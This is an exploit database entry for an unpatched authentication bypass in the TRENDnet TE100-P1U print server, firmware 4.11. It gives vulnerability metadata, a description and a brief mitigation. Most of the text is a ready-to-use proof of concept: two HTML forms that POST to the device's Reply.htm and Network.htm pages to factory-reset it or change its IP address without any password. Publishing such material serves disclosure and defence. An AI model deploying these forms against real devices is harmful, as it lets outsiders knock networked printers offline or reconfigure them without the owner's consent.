TRENDnet TE100-P1U Print Server Firmware 4.11 Authentication Bypass Vulnerability

vendor:

TE100-P1U Print Server

by:

Chako

5.5

CVSS

MEDIUM

Authentication Bypass

287

CWE

Product Name: TE100-P1U Print Server

Affected Version From: 4.11

Affected Version To: 4.11

Patch Exists: NO

Related CWE:

CPE: h:trendnet:te100-p1u_firmware:4.11

Metasploit:

Other Scripts:

Platforms Tested: Windows 7

2013

TRENDnet TE100-P1U Print Server Firmware 4.11 Authentication Bypass Vulnerability

A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server. This issue is due to a failure of the application to validate authentication credentials when processing print server configuration change requests. An attacker could reset print server to factory settings or changing its IP address without password security check.

Mitigation:

No official patch available. Disable external access to the print server or restrict access to trusted IP addresses.

Source

Exploit-DB raw data:

#############################################################
#
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11  Authentication Bypass Vulnerability
# Date: 2013/6/20 
# Exploit Author: Chako 
# Firmware Version: 4.11
# Tested on: Windows 7
#############################################################


Description:
=====================
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server. 
This issue is due to a failure of the application to validate authentication 
credentials when processing print server configuration change requests.
An attacker could reset print server to factory sttings or changeing its IP address without
password security check.

Exploit:
=====================

1)Reset Print Server To Factory Settings

<form action="http://IP/Reply.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Factory Reset</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr><td height="50" bgcolor="#F0F0F0"> <span class="bluetextbold">Do you want to restore Print Server to factory default setting?</span></td></tr>
</tbody></table><br> 
<input name="Factory" value=" Yes " type="submit" width="60">
</form>



1)Change Print Server IP Address

<form action="http://IP/Network.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Change IP Address</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
 <td class="bluetextbold" align="right" bgcolor="#C5CEDA" valign="top" width="150"> IP Address:</td>
 <td bgcolor="#F0F0F0" valign="top">
 <table border="0">
 <tbody><tr><td>
  <input name="IP_ASSIGN" value="1" type="radio">Manually Assign
  <table border="0" cellpadding="3" cellspacing="0">
  <tbody><tr>
   <td width="20"></td><td>IP Address</td>
   <td>:  <input size="18" name="IP_Address" value="192.168.1.110" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Subnet Mask</td>
   <td>:  <input size="18" name="Subnet_Mask" value="255.255.255.0" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Default Gateway</td>
   <td>:  <input size="18" name="Default_Gateway" value="192.168.1.254" type="text"></td>
  </tr>
  </tbody></table>
</td></tr>
 
 </tbody></table>
</td>
</tr>
</tbody></table>
<table border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
 <td height="50" width="149"> </td>
 <td width="355"> <input name="Config2" value=" Save " type="submit" width="80">  <input value="Cancel" type="reset" width="80"></td>
</tr>
</tbody></table>
</form>